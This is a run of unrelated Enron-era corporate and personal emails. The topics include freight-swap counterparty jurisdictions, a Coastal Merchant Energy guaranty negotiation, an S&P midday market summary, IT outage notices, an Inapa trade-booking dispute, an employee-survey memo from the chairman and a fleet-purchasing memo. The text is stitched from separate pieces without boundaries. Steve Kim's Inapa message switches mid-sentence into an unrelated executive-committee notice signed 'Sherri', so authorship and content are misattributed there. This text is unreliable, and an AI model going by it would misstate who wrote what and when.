Aury/LON/ECT@ECT, Chris Connelly/LON/ECT@ECT 

Subject: freight derivatives - EOL

I have trawled through the list of jurisdictions of potential counterparties 
to the freight swaps/options.

A list
Norway
Denmark
Germany
UK
Belgium
France 
Singapore 
Australia

We have already done full EOL due diligence on the above jurisdictions. The 
only issue which we wd just need to cover is whether for regulatory purposes 
freight is treated as a commodity. We shd be able to get answers on that 
issue quickly. 

B list
Turkey
Taiwan
Japan
Argentina
Israel
Gibraltar
S. Korea

We do not have much on the above jurisdictions here although Mark T may have 
done some due diligence on the non- European, non-middle eastern countries. 
Do you want us to undertake full due diligence on these?

C list
Liberia
Panama
Cayman Isl
BVI
Bermuda
Bahamas
BWI

I understand that decisions may have already been made not to include 
entities incorporated into these jurisdictions, because of money laundering 
issues, lack of corporate transparency etc. Cd this be confirmed. 

Robert  

Russell,
 Regarding their first point, we should only guarantee amounts that are 
covered by our contracts.  Non contract amounts should not be subject the the 
guarantee, incoming or outgoing.  
 Remember that we need to keep the guaranty amounts specific as to each enron 
entity.  This is because the part that pertains to Houston Pipe Line Company 
will need to be deleted from the guaranty and a separate guaranty from HPL's 
new parent will need to take its place.  
 Somehow we need them to accept buyin on the fact that the new guarantee will 
not be effective until the old guaranty has been superceded, even if this 
takes the action of their spun off entity.

Clement,
 Do you agree?

	Russell Diamond
	01/16/2001 12:35 PM
		 
		 To: Clement Abrams/Corp/Enron@ENRON, Dan J Hyvl/HOU/ECT@ECT
		 cc: 
		 Subject: Coastal Merchant Energy--Outgoing Gty

Clement, Dan,

Please give me an update on this guaranty.

Thank you,

Russell

---------------------- Forwarded by Russell Diamond/HOU/ECT on 01/16/2001 
12:31 PM ---------------------------
   
From:  Russell Diamond                                                        
     01/05/2001 02:10 PM	
	
To: Clement Abrams/Corp/Enron@ENRON, Dan J Hyvl/HOU/ECT@ECT
cc: Kiran.Parthasarathy@CMenergy.com @ ENRON 
Subject: Coastal Merchant Energy--Outgoing Gty

Below is an e-mail from my counterpart at Coastal with comments to the 
revised Enron Corp draft that Clement provided to me in his e-mail on Dec.. 
21st.  Can each of you please review these concerns.  If the Master will not 
be executed until after their merger with El Paso, I think it is OK to accept 
a Unified guaranty cap instead of specifif limits.  I was origninally thought 
the reason for the specific dollar limits was because of Contracts.

Thanks
Russell

---------------------- Forwarded by Russell Diamond/HOU/ECT on 01/05/2001 
01:55 PM ---------------------------

Kiran.Parthasarathy@CMenergy.com on 01/04/2001 01:46:03 PM
To: Russell.Diamond@enron.com
cc: Porter.Ryan@CMenergy.com, Don.Fishbeck@CMenergy.com 
Subject: RE: Pending Guaranty for Physical Business

Russell, 

We looked at the revised redline on the Enron physical business sent by you 
on Dec 21st 00. 

We have the following important comments: 

(1) The first page of the Guaranty refers to specific Contracts that will be 
covered by the Guaranty and one identified Contract is the Enfolio Master 
Firm Purchase/ Sale Agreement.? As you are aware, this Contract has not been 
signed between Coastal Merchant Energy and Enron companies and will not 
probably be signed (if and) until our pending merger is completed.? Therefore 
we request that the Guaranty language be broadened to include all Obligations 
of the Enron entities to CME (and not be Contract specific).

(2)The third page of the Guaranty discusses Maximum Limit (Section 2) and 
sets specific numerical caps for each of the covered Enron entities.? We had 
requested for a unified Cap earlier and once again request that a unified Cap 
be set for all entities.? 

(3)The fifth page of the Guaranty (Section 9), says that this Guaranty will 
supersede the Old Guaranty that was issued jointly to Engage US and Engage 
Canada.? As you are aware, we are not affiliated or connected with Engage 
Canada and therefore cannot bind Engage Canada whatsoever in the proposed 
Guaranty.? That was the rationale for our insert in that paragraph ("insofar 
as it respects Contract Party").? This was deleted in your revised redline.

We are anxious to complete this Guaranty as soon as possible.? We suggest, if 
it is necessary, a conference call involving ourselves and our Counsel.

Please respond at your earliest convenience. 

Thanks 
Kiran 

From: Russell.Diamond@enron.com [mailto:Russell.Diamond@enron.com] 
Sent: Thursday, December 21, 2000 10:24 AM 
To: Kiran.Parthasarathy@CMenergy.com 
Cc: veronica.espinoza@enron.com; Michael.Hugetz@CMenergy.com; 
Dai.Nguyen@CMenergy.com; Don.Fishbeck@CMenergy.com 
Subject: Re: Pending Guaranty for Physical Business 

Kiran, 

Please see attached comments from our legal group.? If there are any 
additional concerns regarding the comments please contact Clement Abrams- 
713-853-5986. 

Thank you, 
Russell 

(See attached file: Coastal Outgoing.doc) 

NO, unless its time.

From: Erik Wollam [mailto:erwollam@hotmail.com]
Sent: Monday, May 20, 2002 1:32 PM
To: Parks, Joe; brianc@saltgrass.com; knipe3@msn.com;
chet_fenner@bmc.com
Subject: Re: Come raise a cold one to Weller

should i put buck to sleep on saturday so we can raise a cold one to him 
too??

>From: "Parks, Joe" <Joe.Parks@bridgeline.net>
>To: "Brian Constantine" <brianc@saltgrass.com>, "chad knipe" 
><knipe3@msn.com>,   "EriK Wollam" <erwollam@hotmail.com>, "Chet Fenner" 
><chet_fenner@bmc.com>
>Subject: Come raise a cold one to Weller
>Date: Mon, 20 May 2002 12:57:19 -0500
>
>I will be serving brisket, chicken and of course  everyone's favorite, 
>beer. This Sunday around 4pm. Come over bring you kids and your wife. Kim 
>will also send out an email to your spouses.
>
>Joe
>Senor Safety (I like this)
>From: Brian Constantine [mailto:brianc@saltgrass.com]
>Sent: Monday, May 20, 2002 7:34 AM
>To: chad knipe; EriK Wollam; Chet Fenner; Parks, Joe; John Chambers
>Subject: RE: are you all dead?
>
>
>I think that was LN's feeble attempt at "Spanish"...aka SENOR....Hey how do 
>you type the little squiggly thing on top of the "n" ???
>
>From: chad knipe [mailto:knipe3@msn.com]
>Sent: Friday, May 17, 2002 3:50 PM
>To: EriK Wollam; Chet Fenner; Joe.Parks@bridgeline.net; John Chambers; 
>Brian Constantine
>Subject: Re: are you all dead?
>
>When did Joe graduate from Mr. to "senior"?
>
>From: Erik Wollam
>Sent: Friday, May 17, 2002 4:15 PM
>To: knipe3@msn.com; chet_fenner@bmc.com; Joe.Parks@bridgeline.net; 
>john.chambers@bisys.com; brianc@saltgrass.com
>Subject: are you all dead?
>
>What's the deal. No traffic all week. Makes coming to work really lame.
>
>Here's something to talk about. Karnes City!!! Like it is time to cut 
>checks
>again and mail them to the opielas before they call me and hit me up for a
>raise on our rent.
>
>John:Last year looks like the break down was as follows: you wrote a ckedk
>to Rancho Grande Trust for 2,600 and collected from Mark and Matt.
>I wrote one for 900 and collected from pig, shet, smack, hudge and senior
>saftey.
>
>SO Brian, Chet, Chad, Hudge and Joe need to cut me a check for 150 a piece
>and mail it to my office 815 walker #1447 H/T 77002.
>
>If you are not interested in getting back on, let me know so I can fill 
>your
>spot.
>
>John, mail your check and I will send off with mine and contract for 
>emerick
>
>KCLN
>
>
>
>Chat with friends online, try MSN Messenger: http://messenger.msn.com
>
>
>************************************************************************
>This e-mail is the property of Bridgeline Holdings, L.P. and/or its 
>relevant affiliate(s) and may contain confidential and privileged material 
>for the sole use of the intended recipient(s). Any review, use, 
>distribution or disclosure by others is strictly prohibited. If you are not 
>the intended recipient (or authorized to receive for the recipient), please 
>contact the sender and delete all copies of the message. This e-mail (and 
>any attachments hereto) are not intended to be an offer (or an acceptance) 
>and do not create or evidence a binding and enforceable contract between 
>Bridgeline Holdings, L.P. (or any of its affiliates) and the intended 
>recipient or any other party, and may not be relied on by anyone as the 
>basis of a contract by estoppel or otherwise. Thank you.
>

Charles Schwab & Co., Inc.

Midday Market View(TM) for Tuesday, May 15, 2001
as of 1:00PM EDT
Information provided by Standard & Poor's

================================================================

U.S. INDICES
(1:00p.m. EDT)

Market            Value     Change

DJIA          10,849.00    - 28.30
Nasdaq Comp.   2,097.52    + 15.60
S&P 500        1,249.15     + 0.23
NYSE Advancing Issues        1,705
NYSE Declining Issues        1,257
NYSE Trading Volume        498 mln
NASDAQ Advancing Issues      1,987
NASDAQ Declining Issues      1,621
NASDAQ Trading Volume      782 mln

==================================

U.S. TREASURIES
Value            Yield      Change

1-year bill       3.77%        n/a
5-year note       4.99%     - 9/32
10-year note      5.47%     - 9/32
30-year bond      5.84%     + 1/32

The tables above look best when viewed in a fixed-width font,
such as "Courier."

U.S. TRADING SUMMARY

Stocks continue to hover around unchanged levels as U.S. traders
await the Fed's decision on interest rates. Volatility and
trading volume diminished as the day wore on. While many traders
believe that the Fed will cut the key short-term interest rate an
aggressive 50 basis points, there is a sizable amount of
uncertainty surrounding the policy statement that will be
released with the Fed's rate decision. Given increasing
speculation that the Fed's easing cycle is coming to an end,
investors will closely scour the wording of the statement for
clues about future Fed actions. If the market interprets the Fed
as suggesting that its easing cycle is about to end, the stock
market's focus will likely shift back to corporate earnings,
which have been shaky of late and worrisome to investors.

----------------------------------------------------------------

U.S. TREASURY SUMMARY

All was quiet as bond traders await the outcome of the Federal
Open Market Committee's meeting at 2:15 p.m. EDT. Ahead of the
news, Treasuries drifted modestly lower on profit-taking as
shorter-dated Treasuries under-performed the bond. Reduced
expectations for continued Fed rate cuts have been the major drag
on shorter-term bills and notes this session. Look for Treasuries
to continue to trade in light volume ahead of the FOMC
announcement.

CURRENCY SUMMARY

With traders unwilling to make bets ahead of the FOMC meeting,
the dollar is little changed from morning levels against the euro
and the yen. The greenback is currently trading around 123.2 yen
and 0.879 dollars per euro.

MAJOR COMPANY / INDUSTRY NEWS
(All prices as of 1:05 p.m. EDT)

** Verisign (VRSN: 53.00, + 1.64) and the Department of Commerce
appear close to reaching an agreement that will extend Verisign's
control over the ".com" Internet address suffix, according to The
Wall Street Journal. The agreement would be a major coup for
Verisign, which maintains control over the majority of Internet
domain name registrations. The company has come under the
microscope from regulators amid voiced concerns from other
companies stating that Verisign's hold over ".com" is
anti-competitive. Currently, Verisign has a preliminary agreement
with the Department of Commerce to maintain control of the ".com"
suffix through at least 2007.

** Home Depot (HD: 50.11, + 0.96) reported a
stronger-than-anticipated profit in the first quarter of this
year, citing reduced expenses and stronger sales. The firm said
net income rose to $632 million, or $0.27 per share. Sales rose
9.8%. The firm was expected to earn $0.25 per share. As for the
next quarter, the firm said it expects to meet analysts'
expectations for per share profit.

** Bail has been set in the corporate espionage case involving
two former Lucent Technologies (LU: 9.80, + 0.09) employees who
are accused of stealing trade secrets. Authorities allege that
the information was destined for a company that is majority-owned
by the Chinese government. A federal judge set bail at $900,000
for each of the two defendants. The two former employees, along
with a third man, are accused of stealing source code and
software associated with Lucent's PathStar Access Server. The
case demonstrates the vulnerability of U.S. corporate companies
to the threat of global economic espionage.

** The time for individual stock futures is just around the
corner. Soon investors will be able to buy and sell futures on
individual stock issues on the largest U.S. derivatives
exchanges, according to newswire reports. Both the Chicago
Mercantile Exchange and Chicago Board Options Exchange have
agreed to take part in the venture. The joint venture will be its
own regulated exchange and a for-profit entity. A future
obligates the holder to buy or sell the underlying security, at a
date and price that is specified in the future. Single-stock
futures trading may begin as early as August for institutional
investors and in December for retail investors.

RESEARCH SPOTLIGHTS

** Friedman, Billings and Ramsey upgraded shares of Tupperware
Corp. (TUP: 21.99, + 0.07) from an accumulate to a buy rating.

** Morgan Stanley upgraded shares of Robert Half International
(RHI: 28.34, + 0.42) from an outperform to a strong buy rating.

** Jefferies upgraded shares of 3DO Co. (THDO: 2.95, + 0.12) from
a hold to an accumulate rating.

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Copyright 2001 Standard & Poor's MMS Inc.  All rights reserved.
Standard & Poor's MMS services are for personal use only.
Commercial use or redistribution in any form, print or
electronic, is prohibited.
Distribution by Quris, Inc.

Molly,

We are in process of setting up an interview.

Vince

	From:  Molly Magee                           10/18/2000 02:56 PM
	
To: jlew@kent.edu
cc: Vince J Kaminski/HOU/ECT@ECT, Shirley Crenshaw/HOU/ECT@ECT 

Dr. Lew:   Vince Kaminski has asked me to contact you in connection with your 
interest in Enron.   He would like to schedule a mutually convenient time for 
you to visit Houston and meet with his group.   The dates that have been 
suggested are:   Wednesday, 10/25/2000; Thursday, 10/26/2000; or Friday, 
10/27/2000.    I hope that one of these dates will be convenient for you to 
come in for interviews.

You may either respond to me by email, or phone me at 713 853-4804, whichever 
is easier for you.   I am also leaving a voicemail message for you at your 
home phone number.

We hope to hear from you soon.

Molly Magee
Recruiting Manager

F O R

EES: 
Impact:  EES	
Outage:  EESHOU-DBPCCS - Sat 8-10am CT
EESTEST-DBPCCS - Sun 9:30-11:30 am CT
EESTEST-WBPCCS - Sun 10am-12pm CT
EESHOU-EEIS - Fri 6-8pm CT
EESHOU-WBPCCS - Sun 8:30-10:35am CT
EESHOU-DBRPS3 - Sat 9-10am CT
EESHOU-OMS01 - Fri 5:30-7:30pm CT
Purpose: Install monitoring tools.
Backout: Uninstall
Contact(s): 	David DeVoll        713-345-8970
		Animesh Solanki  713-853-5147
   
ENRON NORTH AMERICAN LANS:   ALSO SEE ORIGINAL REPORT
Impact:  ECN 46
Time:  Sat 10/20/2001 at  9:00:00 AM CT thru Sat 10/20/2001 at  4:00:00 PM CT
	Sat 10/20/2001 at  7:00:00 AM PT thru Sat 10/20/2001 at  2:00:00 PM PT
	Sat 10/20/2001 at  3:00:00 PM London thru Sat 10/20/2001 at  10:00:00 PM London
Outage:  Telecom Closet Clean Up ECN 46
Environments Impacted:  ECN 46
Purpose: IDF and port management
Backout: 
Contact(s): 	Mark Trevino    713-345-9954  
 
HR:          SEE ORIGINAL REPORT
 
MESSAGING:      SEE ORIGINAL REPORT
  
OTHER SYSTEMS:     ALSO SEE ORIGINAL REPORT
Impact:  nahou-wwirf01t nahou-wwirf01d nahou-wwjrn01d nahou-wwjrn01tnahou-wwiwn01d
Time:  Thu 10/18/2001 at  5:00:00 PM CT thru Fri 10/19/2001 at  7:00:00 PM CT
	Thu 10/18/2001 at  3:00:00 PM PT thru Fri 10/19/2001 at  5:00:00 PM PT
	Thu 10/18/2001 at  11:00:00 PM London thru Sat 10/20/2001 at  1:00:00 AM London
Outage:  SP2   Hotfix 301625   WINS-DNS update
Environments Impacted:  Developers and Testers of the server listed below
Purpose: This is our new standard for ALL Web and App servers in our group.
Backout: Rollback SP2 Hot Fix and put old WINS and DNS entries back 
Contact(s): 	Clint Tate    713-345-4256  

Time:  Sun 10/21/2001 at  6:00:00 AM CT thru Sun 10/21/2001 at  6:00:00 PM CT
	Sun 10/21/2001 at  4:00:00 AM PT thru Sun 10/21/2001 at  4:00:00 PM PT
	Sun 10/21/2001 at  12:00:00 PM London thru Mon 10/22/2001 at 12:00:00 AM London
Outage:  RMSPROD table/index reorg
Purpose:  reduce fragmentation and increase performance.
Backout: Disable restricted session.
Contact(s): 	Emmett Cleveland    713-345-3873 

SITARA:  
Impact:  Production
Time:  Sat 10/20/2001 at  7:00:00 PM CT thru Sun 10/21/2001 at  7:00:00 AM CT
	Sat 10/20/2001 at  5:00:00 PM PT thru Sun 10/21/2001 at  5:00:00 AM PT
	Sun 10/21/2001 at  1:00:00 AM London thru Sun 10/21/2001 at  1:00:00 PM London
Outage:  New Hardware - Trinity
Purpose: Improve Sitara performance with Hardware enhancement.
Backout: revert to Madrid as primary.
Contact(s): 	SitaraonCall    713-288-0101 
 
TELEPHONY:      SEE OIGINAL REPORT
 
Subject: FW: New Ballot for West Palm Beach County

 - BallotWPBF11.11.00.doc

Resend

Sent:	Friday, November 02, 2001 1:47 PM
To:	Shapiro, Richard
Subject:	PA PUC Gas Assessment

Rick --

We do have an on-going dispute with the PAPUC about our assessment for gas sales.  The charge is $150k.  We are suing with others the PAPUC to argue that we are not a utility and therefore can't get assessed.

Jim

Edmund,

My understanding is that your understanding is correct.  I shall speak with 
Sara on this issue and then inform all interested parties to avoid further 
confusion from certain quarters in 
London........................................................

Kind regards

Mark

08/03/99 04:45 PM
To: Mark Elliott/LON/ECT@ECT
cc:  
Subject: Re: Inapa ticket

Mark,

This needs to be cleared up.  

My understanding is that ECTRIC through EEFT does the trade.  The deal is 
backed to back with ECT and booked in the ECT book.  The deal number for the 
original trade should also therefore be from the Houston book.  I've already 
told this to Lee - correct me if my understanding of the position is 
incorrect.

Best, Ed.

---------------------- Forwarded by Edmund Cooper/LON/ECT on 08/03/99 04:44 

Tom Bruce-Jones
08/03/99 04:40 PM
To: Jeff Harbert/HOU/ECT@ECT
cc: Martin Holmes/LON/ECT@ECT, Bob Crane/HOU/ECT@ECT, Edward 
Ondarza/HOU/ECT@ECT, Lee Munden/LON/ECT@ECT, Edmund Cooper/LON/ECT@ECT 

Jeff

Given the apparent confusion about how European trades ought to be booked and 
monitored, can we arrange a conference call/ video conference in the near 
future to iron out any anomalies and ensure that all parties are satisfied 
with the arrangements.

Thanks
Tom
---------------------- Forwarded by Tom Bruce-Jones/LON/ECT on 03/08/99 16:34 

Lee Munden
03/08/99 15:44
cc: Steve Kim/HOU/ECT@ECT, Dale Neuner/HOU/ECT@ECT, Melba Lozano/HOU/ECT@ECT, 
Scott Pleus/HOU/ECT@ECT, Jeff Harbert/HOU/ECT@ECT, Lisa Berg/HOU/ECT@ECT, Bob 
Crane/HOU/ECT@ECT, Michael Nguyen/HOU/ECT@ECT, Lucy Ortiz/HOU/ECT@ECT, Martin 
Holmes/LON/ECT@ECT, Tom Bruce-Jones/LON/ECT@ECT 
Subject: Re: Inapa ticket  

Tanya

I thought that all Pulp & Paper deals were booked in Houston?

 It would seem that this deal has been booked incorrectly from ECTRIC, when 
it should have been booked from Houston (ECT?)

I have looked at Inapa from a credit perspective.

Lee

Tanya Rohauer
03-08-99 02:36 PM
To: Steve Kim/HOU/ECT@ECT
cc: Dale Neuner/HOU/ECT@ECT, Melba Lozano/HOU/ECT@ECT, Scott 
Pleus/HOU/ECT@ECT, Jeff Harbert/HOU/ECT@ECT, Lisa Berg/HOU/ECT@ECT, Bob 
Crane/HOU/ECT@ECT, Michael Nguyen/HOU/ECT@ECT, Lucy Ortiz/HOU/ECT@ECT, Lee 
Munden/LON/ECT@ECT 

I am assuming that this deal was approved by someone in London Credit, i.e. 
Lee Munden,etc. My understanding of this deal is that it is bewtween a London 
legal entity and the counterparty. ECT's involvement is an intercompany back 
to back position. This deal should be confirmed out of the London office, and 
exposure monitored there. 

Thanks,
Tanya

	From:  Steve Kim                           08/03/99 08:29 AM
	
To: Dale Neuner/HOU/ECT@ECT, Melba Lozano/HOU/ECT@ECT, Scott 
Crane/HOU/ECT@ECT, Tanya Rohauer/HOU/ECT@ECT, Michael Nguyen/HOU/ECT@ECT, 
Lucy Ortiz/HOU/ECT@ECT
cc:  
Subject: Inapa ticket

I have received several calls this morning regarding the above, so apparently 
there is some doubt.  Please be advised that the executive committee will not 
meet today.  Further, due to travel schedules and the holidays, executive 
committee meetings will not be held on Monday, December 18 or Monday, 
December 25.  

Please make note that the next executive committee meeting will be held on 
Tuesday, January 2, 2001at 11:00 a.m. in EB50 Boardroom.

Don't hesitate to contact me should you have any questions.

Regards and Happy Holidays!
Sherri
x3-5984

Recently, I asked you to "Lay It On the Line" and tell me what you believe are the most critical issues that we need to address.  Many of you responded, and I want to share the survey results with you.  Additionally, I want to share with you the things we are currently doing or plan to do to move Enron forward.

First, let's take a look at the survey results.

In just three days, more than 4,000 employees completed the survey.  I sincerely appreciate your participation.

I.  We asked you to identify the top five issues facing Enron today.  The responses were:

1.	Stock price
2.	The PRC
3.	Employee/internal morale
4.	External reputation and image
5.	"Walking the talk" of integrity and respect
_________________________________________________________________________________________

II.  We asked you general questions about working at Enron, comparing 2001 to 2000.

	% of employees responding
	strongly agree/agree:
I am committed to staying at Enron.	64.1%
Enron is a company I would invest my money in.	60.1%
I am treated with respect.	60.0%
I would recommend Enron as a place to work for friends and family.	59.1%
I have talents and skills that Enron is not fully utilizing.	54.7%
Enron truly encourages people to take risks.	47.5%
My immediate supervisor has a clear view of where Enron is going and how to get there.	46.6%
Executive management has a clear view of where Enron is going and how to get there.	41.6%

III.  We asked you to what extent you would associate the following attributes to Enron, comparing 2001 to 2000.

	More	Same	Less	N/A	
Concerned for communities	34.5%	44.9%	10.3%	10.3%	
Innovative	30.8%	35.7%	24.6%	8.9%	
Entrepreneurial	28.5%	37.8%	23.7%	10.0%	
Ethical	17.0%	45.1%	28.1%	9.8%	
Trustworthy	14.9%	39.0%	36.9%	9.2%	
Arrogant	39.1%	32.4%	13.3%	15.2%	
Self-serving	41.9%	38.6%	7.5%	12.0%	

IV.  Finally, we asked you to identify the top three things you like about working at Enron.

1.	People (the high quality of people at Enron was the most widely-cited aspect):
---	talented
---	creative
---     learn from one another
2.	Culture and reputation:
---	innovative spirit
---   willingness to be aggressive and take risks
---   ability to embrace change
---   involvement in community
3.	Work environment:
---	pay and benefits
---   true meritocracy
---   unlimited opportunities

The results of our survey confirmed for the Management Committee and me the great things you feel about Enron and also what you see as the issues we must address to move Enron forward.  The following are some of the things we're doing now or going to do in the next few days and weeks to address the top five issues you identified.  Keep in mind this is only the beginning of an ongoing effort to address your concerns and engage your feedback.

Now, here's what we're going to do based on your feedback.

STOCK PRICE

We are all concerned about our stock price, which has declined significantly this year.  The primary reasons for the sharp decline from our highs earlier this year include:
---	A decline in the overall market and economy;
---   Certain Enron-specific issues, such as California, India and recent management turnover;
---   A "meltdown" in the broadband sector, which may have been as much as $30-$40 of our stock price at the high;
---   Lower energy commodity prices and volatility relative to last winter's high; and
---   Concerns over the pace of energy deregulation.

These concerns mask the strong underlying recurring earnings growth in our transportation and distribution, wholesale and retail businesses.  Very few companies have demonstrated the earnings growth, and future earnings growth, as has Enron.  We fundamentally believe that if we focus on continued earnings growth and reestablishing the confidence of our financial investors, our stock price will reflect the value these businesses deserve.

---	Over the past month, we have met with all of our major institutional shareholders and all of our analysts, reviewing the strong prospects in each of our businesses.
---	We have also committed to provide more segmented information about our business units and how we operate so that analysts have a better understanding of our businesses and how we make money.
We also want to make sure that employees know what we are doing going forward:
---	Mark Koenig, executive vice president of Investor Relations, will host Brown Bag sessions with groups of employees to discuss stock price issues and answer questions.  He will also continue to host eSpeak sessions to answer employee questions.
--- Greg Whalley, Mark Frevert and I will also hold discussions with various groups of employees, which will be taped and made available to employees worldwide.  Watch for these events.

THE PRC

The relative discussion of talent is absolutely critical to maintain our business and our meritocracy.  Understanding which employees have demonstrated the greatest contribution and behaviors, which individuals should be given greater responsibility and leadership, and identifying our top and bottom talent are essential to achieve our business objectives.  Nevertheless, we recognize that certain aspects of the PRC may have caused some of you concern, and we believe we can improve, refine, streamline and better clarify the process objectives for everyone.

Therefore, we will make the following changes to the PRC process prior to year-end:
---	Effective immediately, relative performance discussions will occur annually at year-end.  However, business units will have the flexibility to determine if they need to have those discussions more frequently.
---    The current preferred distribution will no longer be required across Enron.  Business units will be asked to identify only their top 10% and bottom 10% performers for review by Enron's Office of the Chairman annually at year-end.
---   We will continue to use the PEP 360 degree feedback system as input into performance feedback once a year for all employees.  We will also reinforce to all supervisory employees the absolute necessity of continual communication and feedback to their direct reports throughout the year.
---   Finally, we have formed an employee task force that will give us feedback on future changes.

In the November issue of Enron Business, we will feature the first in a series of articles discussing our performance evaluation process.  In addition, there will be other communication and training that will occur prior to year-end.

EMPLOYEE MORALE

We believe the stock price, our external reputation and the performance review process have all affected morale.  Additionally, some employees have indicated they do not feel that they have a place to go to voice their ideas and concerns.  Effective immediately, we will provide an additional resource for employees who do not currently feel comfortable going to either their supervisor or their Human Resources (HR) rep.
---	We are establishing a new business function we are calling Employee Relations (ER) that will report directly to the Office of the Chairman.  Cindy Olson will head this function.  More details of how this group and HR will operate will be communicated in the next few days.
Over the long term, we want our managers to address employee issues and concerns and therefore are providing the following leadership training for those with supervisory roles.
---	We will encourage vice presidents and above, as well as other current and emerging leaders, to complete Executive Impact & Influence training.  These sessions are designed to improve leadership skills such as coaching and effective communication that have a direct impact on performance and managing people.
---	Additionally, we will encourage every employee with supervisory responsibilities to complete online communications training via Communicate!, which will be rolled out immediately.  Communicate! is an interactive training course that uses Enron scenarios and a combination of video, voice mails, e-mails and meetings notes, to analyze user performance based on a participant's responses and actions.

EXTERNAL REPUTATION

We all recognize that our external reputation has suffered this year.  The single most important factor that influences our reputation is our actions - how we act and how we communicate those actions as a company and as individual employees.  We recognize that as Enron's ambassador's in the marketplace, the more you know about our strategy, performance and challenges, the more you can help disseminate accurate information about our company.  To ensure you are better informed:
---	We will do a better job providing you with timely information about issues affecting Enron.  In addition to our existing communication efforts, like e-mail messages and internal publications eBiz and Enron Business, we will post a Q&A on current issues on the Enron intranet at home.enron.com <http://home.enron.com>.  This will give us a consistent message across the organization and will equip you with information when talking to your customers.
--- As we said before, Greg, Mark and I, as well as members of our Management Committee, will meet with groups of employees across Enron to hear your thoughts and share with you our business direction and challenges.  Look for these to start in mid-October.

INTEGRITY & RESPECT

I believe, as I said previously, we need to reinforce our core values, particularly integrity and respect.  From what you have told us in this survey, you agree.
---	Enron's values will have more importance in each employee's evaluation and feedback.  We ask that all employees, regardless of level, hold themselves accountable for the way they interact with people on a daily basis.  We are all responsible for how we treat our coworkers and customers.
---	We will also conduct employee focus groups on a frequent basis to gather additional, specific feedback on employee issues like ethics, integrity and individual concerns.  If you would like to participate in these focus groups, please send an e-mail to Cindy Olson.
---   Periodically, I will host a special feature column in Enron Business to keep you informed of the action steps we are taking and their results.

Finally, I give you my commitment that we will do a better job giving you more information regarding Enron's strategy and challenges, and listening to your concerns and ideas.  But we would ask for your commitment, too.  We need your dedication to Enron and its values, as it is only through your commitment that we will achieve long-term success.  We will conduct another employee survey early next year.  Please continue to send me your feedback and let's continue to work together and keep Enron one of the best places to work in the world.

so what did you and lisa do until 7am loverboy?

From: 	"Marcantel MM (Mitch)" <MMMarcantel@equiva.com>@ENRON [mailto:IMCEANOTES-+22Marcantel+20MM+20+28Mitch+29+22+20+3CMMMarcantel+40equiva+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Tuesday, May 22, 2001 10:18 AM
To:	Lenhart, Matthew
Subject:	RE:

Next weekend would be better for me. I was looking forward to stretching
this weekend out as much as possible... and not being in a car for 6 hours.

Boone will be pissed if we take off. He wants to booze on Saturday and
Sunday.

Where do you think we'll have the most fun? That's what's really important.
If you think Austin will be more fun, then maybe we should go.

Thanks,

Mitch Marcantel

SAP Application Services
 1100 Louisiana St. 808B
 Houston, TX 77002
 Phone: 713.277.8511 Fax: 713.277.8551
 Pager: 800-759-8888 pin1528390
            1528390@skytel.com

From: Matthew.Lenhart@enron.com [mailto:Matthew.Lenhart@enron.com]
Sent: Tuesday, May 22, 2001 10:07 AM
To: MMMarcantel@equiva.com

did you get chad's email?  i would rather go up next weekend.  i will go up
this weekend if you are up for it, but if not i think we need a good
excuse.

   From:   "Marcantel MM (Mitch)" <MMMarcantel@equiva.com>@ENRON

[mailto:IMCEANOTES-+22Marcantel+20MM+20+28Mitch+29+22+20+3CMMMarcantel+40equ
iva+2Ecom+3E+40ENRON@ENRON.com]

   Sent:   Monday, May 21, 2001 9:27 AM
   To:     Lenhart, Matthew
   Subject:  RE:

   Let me know if we will need a 4th person to play on Friday afternoon. A
   guy
   I work with may be able to fill in if no one else can join us.

help!
---------------------- Forwarded by Kate Symes/PDX/ECT on 03/28/2001 08:47 AM 
   
	From:  Angela Cadena                           03/28/2001 08:42 AM
	
To: Kate Symes/PDX/ECT@ECT, Andy Chen/PDX/ECT@ECT
cc:  

Subject: RSVP

Could you please let me know if you are planning to attend birthday party.

Thanks

---------------------- Forwarded by Hunter S Shively/HOU/ECT on 11/09/2000 
04:41 PM ---------------------------

Jeanie Slone
11/02/2000 03:56 PM
To: Fred Lagrasta/HOU/ECT@ECT, Hunter S Shively/HOU/ECT@ECT, Scott 
Neal/HOU/ECT@ECT, Thomas A Martin/HOU/ECT@ECT, John Arnold/HOU/ECT@ECT, 
Phillip K Allen/HOU/ECT@ECT
cc:  
Subject: Final Gas and Power Trading PRC meeting

Mark you calendars for the Gas and Power Trading PRC meetings to be held  
Wed. November 29 (Commercial) and Mon. December 4(Commercial Support)  You 
will receive specific information regarding times and locations soon.
If you would like additional members of your staff to attend the meeting to 
provide feedback, please submit their names to me by November 10.
A formal Gas pre-ranking meeting is not scheduled.  However, if you are 
interested in conducting a pre-PRC meeting, please contact me by November 10.

Jeanie
X5-3847

From: 	Fitzgerald, Genia  
Sent:	Wednesday, January 09, 2002 2:07 PM
To:	Heard, Marie; Denton, Rhonda L.
Subject:	FW: mouse "You sexy thing"

 - Mouse_final.mpeg 

As a member of the Enron Fleet Council, I wish to advise management of the following facts. 

Enron Fleet Council Members:
Members			BU			Manufacturer Purchased	Number
Bruce Martin - Cheri		ETS - EOTT		DaimlerChrysler			200
Cheri Sublet			ETS/EFS		Ford					160
Randy Hardenbrook 		Wind			Ford and DaimlerChrysler		  50
Jeddy Beasley			PGE			GM					  10
													420
As you are aware, Enron realizes savings each year by stacking volumes with the manufacturer's.  ETS and EFS will realize reduced costs by stacking volumes with the manufacturer's during 2002.  Listed below is a breakdown of the difference in costs by manufacturer:

If we purchased GM rather than DaimlerChrysler, ETS would pay an additional $524,000 for the same number of vehicles.
If we purchased Ford rather than DaimlerChrysler, ETS would pay an additional $1,036,748 for the same number of vehicles.

Enron Facility Service
As indicated above, EFS will only allow the purchase of Ford's for their business unit.  Because they also require most vehicles to be purchased as an emergency, they pay $2,000 to $3,000 per vehicle for "off the lot" purchases.  Because EFS has made a decision to only purchase Ford, their business unit will pay an additional $950,000 to purchase the same number of Fords vs Dodges.  I realize this is a business unit decision, but their choice effects Enron's bottom line.  In addition to increased costs to EFS, all Enron business units suffer due to the reduction in stacked volumes with one manufacturer.  

Enron Wind
Wind acquires vehicles utilizing a local Ford dealership in California.  Although Wind has participated in the Enron Fleet Council and  in some cases, followed the recommendations of the council, their major annual purchase is from Ford.

PGE
PGE is not an active participant in the Enron Fleet Council.  Although they participated in past years, have always chosen to purchase GM.  Their spend is relatively low, but effects the total units purchased within Enron.  

Maintenance
